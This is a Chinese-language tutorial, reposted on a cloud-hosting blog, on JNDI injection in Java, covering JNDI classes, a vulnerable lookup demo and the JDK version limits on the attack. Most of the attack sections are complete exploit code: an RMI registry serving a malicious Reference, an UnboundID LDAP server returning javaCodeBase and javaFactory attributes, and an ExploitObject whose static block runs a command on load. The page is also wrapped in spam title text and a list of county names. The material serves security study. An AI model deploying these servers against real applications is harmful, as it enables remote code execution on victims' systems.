中文字幕av专区_日韩电影在线播放_精品国产精品久久一区免费式_av在线免费观看网站

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

Java中JNDI注入的實現方法是什么

發布時間:2021-11-11 11:05:50 來源:億速云 閱讀:194 作者:iii 欄目:開發技術

這篇文章主要講解了“Java中JNDI注入的實現方法是什么”,文中的講解內容簡單清晰,易于學習與理解,下面請大家跟著小編的思路慢慢深入,一起來研究和學習“Java中JNDI注入的實現方法是什么”吧!

About JNDI

0x01 簡介

JNDI(Java Naming and Directory Interface)是SUN公司提供的一種標準的Java命名系統接口,JNDI提供統一的客戶端API,通過不同的訪問提供者接口JNDI服務供應接口(SPI)的實現,由管理者將JNDI API映射為特定的命名服務和目錄系統,使得Java應用程序可以和這些命名服務和目錄服務之間進行交互。目錄服務是命名服務的一種自然擴展。通過調用JNDIAPI應用程序可以定位資源和其他程序對象。JNDIJava EE的重要部分,需要注意的是它并不只是包含了DataSource(JDBC 數據源)JNDI可訪問的現有的目錄及服務有:DNS、XNam 、Novell目錄服務、LDAP(Lightweight Directory Access Protocol輕型目錄訪問協議)、 CORBA對象服務、文件系統、Windows XP/2000/NT/Me/9x的注冊表、RMI、DSML v1&v2、NIS。

0x02 JNDI的用途

JNDI(Java Naming and Directory Interface)是一個應用程序設計的API,為開發人員提供了查找和訪問各種命名和目錄服務的通用、統一的接口,類似JDBC都是構建在抽象層上。現在JNDI已經成為J2EE的標準之一,所有的J2EE容器都必須提供一個JNDI的服務。

0x03 日常使用

其實簡單看簡介會有點感覺JNDI類似于RMI中的Registry,將其中某一命名服務和相應對象進行綁定,當需要調用這個對象中的方法時,通過將指定的名稱作為參數帶入lookup去尋找相應對象。比如在開發中經常用到其去加載實現動態加載數據庫配置文件,而不用頻繁修改代碼。

平常使用JNDI注入攻擊時常用的就是RMI和LDAP。并且關于這兩種協議的使用還有些限制,這也會在本文后面提到。

0x04 JNDI命名和目錄服務

Naming Service 命名服務:

命名服務將名稱和對象進行關聯,提供通過名稱找到對象的操作,例如:DNS系統將計算機名和IP地址進行關聯、文件系統將文件名和文件句柄進行關聯等等。

Directory Service 目錄服務:

目錄服務是命名服務的擴展,除了提供名稱和對象的關聯,還允許對象具有屬性。目錄服務中的對象稱之為目錄對象。目錄服務提供創建、添加、刪除目錄對象以及修改目錄對象屬性等操作。

Reference 引用:

在一些命名服務系統中,系統并不是直接將對象存儲在系統中,而是保持對象的引用。引用包含了如何訪問實際對象的信息。

這個點用到的也比較多,下面會詳細講。

前置知識

主要是一些常用類和常見方法的小結,copy自nice_0e3師傅文章

InitialContext類

構造方法:

InitialContext() 
構建一個初始上下文。  
InitialContext(boolean lazy) 
構造一個初始上下文,并選擇不初始化它。  
InitialContext(Hashtable<?,?> environment) 
使用提供的環境構建初始上下文。 
InitialContext initialContext = new InitialContext();

在這JDK里面給的解釋是構建初始上下文,其實通俗點來講就是獲取初始目錄環境。

常用方法:

bind(Name name, Object obj) 
	將名稱綁定到對象。 
list(String name) 
	枚舉在命名上下文中綁定的名稱以及綁定到它們的對象的類名。
lookup(String name) 
	檢索命名對象。 
rebind(String name, Object obj) 
	將名稱綁定到對象,覆蓋任何現有綁定。 
unbind(String name) 
	取消綁定命名對象。

Reference類

該類也是在javax.naming的一個類,該類表示對在命名/目錄系統外部找到的對象的引用。提供了JNDI中類的引用功能。

構造方法:

Reference(String className)
為類名為“className”的對象構造一個新的引用。
Reference(String className, RefAddr addr)
為類名為“className”的對象和地址構造一個新引用。
Reference(String className, RefAddr addr, String factory, String factoryLocation)
為類名為“className”的對象,對象工廠的類名和位置以及對象的地址構造一個新引用。
Reference(String className, String factory, String factoryLocation)
為類名為“className”的對象以及對象工廠的類名和位置構造一個新引用。

代碼:

 String url = "http://127.0.0.1:8080";
        Reference reference = new Reference("test", "test", url);

參數1:className - 遠程加載時所使用的類名

參數2:classFactory - 加載的class中需要實例化類的名稱

參數3:classFactoryLocation - 提供classes數據的地址可以是file/ftp/http協議

常用方法:

void add(int posn, RefAddr addr) 
	將地址添加到索引posn的地址列表中。  
void add(RefAddr addr) 
	將地址添加到地址列表的末尾。  
void clear() 
	從此引用中刪除所有地址。  
RefAddr get(int posn) 
	檢索索引posn上的地址。  
RefAddr get(String addrType) 
	檢索地址類型為“addrType”的第一個地址。  
Enumeration<RefAddr> getAll() 
	檢索本參考文獻中地址的列舉。  
String getClassName() 
	檢索引用引用的對象的類名。  
String getFactoryClassLocation() 
	檢索此引用引用的對象的工廠位置。  
String getFactoryClassName() 
	檢索此引用引用對象的工廠的類名。    
Object remove(int posn) 
	從地址列表中刪除索引posn上的地址。  
int size() 
	檢索此引用中的地址數。  
String toString() 
	生成此引用的字符串表示形式。

JNDI Demo

下面看一段代碼,是一段易受JNDI注入攻擊的demo

主要是調用的lookup方法中url參數可控,那么可能會導致JNDI注入漏洞的產生。

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class JNDIDemo {
    
    public void Jndi(String url) throws NamingException {
        InitialContext initialContext = new InitialContext();
        initialContext.lookup(url);
    }
}

JNDI+RMI攻擊手法

限制條件:

RMI服務中引用遠程對象將受本地Java環境限制即本地的java.rmi.server.useCodebaseOnly配置必須為false(允許加載遠程對象),如果該值為true則禁止引用遠程對象。除此之外被引用的ObjectFactory對象還將受到com.sun.jndi.rmi.object.trustURLCodebase配置限制,如果該值為false(不信任遠程引用對象)一樣無法調用遠程的引用對象。

  • JDK 5U45,JDK 6U45,JDK 7u21,JDK 8u121開始java.rmi.server.useCodebaseOnly默認配置已經改為了true

  • JDK 6u132, JDK 7u122, JDK 8u113開始com.sun.jndi.rmi.object.trustURLCodebase默認值已改為了false

本地測試遠程對象引用可以使用如下方式允許加載遠程的引用對象:

System.setProperty("java.rmi.server.useCodebaseOnly", "false");
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");

JNDIServer

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class JNDIServer {
    public static void main(String[] args) throws NamingException {
        String url = "rmi://127.0.0.1:1099/ExportObject";
        InitialContext initialContext = new InitialContext();
        initialContext.lookup(url);

    }
}

JNDIExploitServer

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.Arrays;

public class JNDIExploitServer {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        //創建Registry
        Registry registry = LocateRegistry.createRegistry(1099);

        String url = "http://127.0.0.1:8080/";
        // 實例化一個Reference嘗試為遠程對象構造一個引用
        Reference reference = new Reference("ExploitObject", "ExploitObject", url);
        // 強轉成ReferenceWrapper,因為Reference并沒有繼承Remote接口,不能直接注冊到Registry中
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);

        registry.bind("ExportObject", referenceWrapper);
        System.out.println("Registry&Server Start ...");
        //打印別名
        System.out.println("Registry List: " + Arrays.toString(registry.list()));
    }
}

ExploitObject

public class ExploitObject {
    static {
        try {

            Runtime.getRuntime().exec("open -a Calculator");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    public static void main(String[] args) {
        System.out.println("Calc Running ...");
    }
}

先啟動惡意的JNDIExploitServer,然后運行JNDIServer,當調用initialContext.lookup(url)方法時,會通過rmi協議尋找ExportObject對應的對象referenceWrapper,而referenceWrapper為遠程對象ExploitObject的引用,所以最終實例化的是ExploitObject從而觸發靜態代碼塊執行達到任意代碼執行的目的。

Java中JNDI注入的實現方法是什么

在此期間遇到了幾個坑點,記錄一下:

  • JDK的限制,測試環境延用了RMI時的JDK7u17

  • 在編譯ExploitObject類時使用的javac版本最好和idea中測試環境版本一致,可以通過cmdl指定jdk版本的javac去編譯;且生成的class文件不要帶有包名(例如:package com.zh2z3ven.jndi),指定版本javac編譯命令:/Library/Java/JavaVirtualMachines/jdk1.7.0_17.jdk/Contents/Home/bin/javac ./main/java/com/zh2z3ven/jndi/ExploitObject.java

JNDI+LDAP攻擊手法

這里的限制是在8u191之前

copy一段LDAP的Server端代碼

LdapServer

import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;


public class LdapServer {

    private static final String LDAP_BASE = "dc=example,dc=com";

    public static void main(String[] argsx) {
        String[] args = new String[]{"http://127.0.0.1:8080/#ExploitObject"};
        int port = 7777;


        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen", //$NON-NLS-1$
                    InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
            ds.startListening();

        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;

        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }

        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }
        }

        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "foo");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
            e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }
    }
}

JNDIServer2

public class JNDIServer2 {
    public static void main(String[] args) throws NamingException {
        String url = "ldap://127.0.0.1:7777/ExploitObject";
        InitialContext initialContext = new InitialContext();
        initialContext.lookup(url);

    }
}

ExploitObject

public class ExploitObject {
    static {
        try {

            Runtime.getRuntime().exec("open -a Calculator");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    public static void main(String[] args) {
        System.out.println("Calc Running ...");
    }
}

Java中JNDI注入的實現方法是什么

Java中JNDI注入的實現方法是什么

感謝各位的閱讀,以上就是“Java中JNDI注入的實現方法是什么”的內容了,經過本文的學習后,相信大家對Java中JNDI注入的實現方法是什么這一問題有了更深刻的體會,具體使用情況還需要大家實踐驗證。這里是億速云,小編將為大家推送更多相關知識點的文章,歡迎關注!

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

渝中区| 宜昌市| 通城县| 宁城县| 铜鼓县| 玛纳斯县| 新乐市| 鲁甸县| 阿勒泰市| 武山县| 平度市| 会理县| 丹东市| 满城县| 武邑县| 苏尼特左旗| 西华县| 广德县| 江陵县| 通山县| 永嘉县| 中超| 资阳市| 太和县| 海城市| 同仁县| 琼海市| 溧阳市| 九江市| 建水县| 永丰县| 武隆县| 治多县| 松江区| 巴中市| 河北省| 和政县| 新竹县| 洮南市| 富锦市| 鄂伦春自治旗|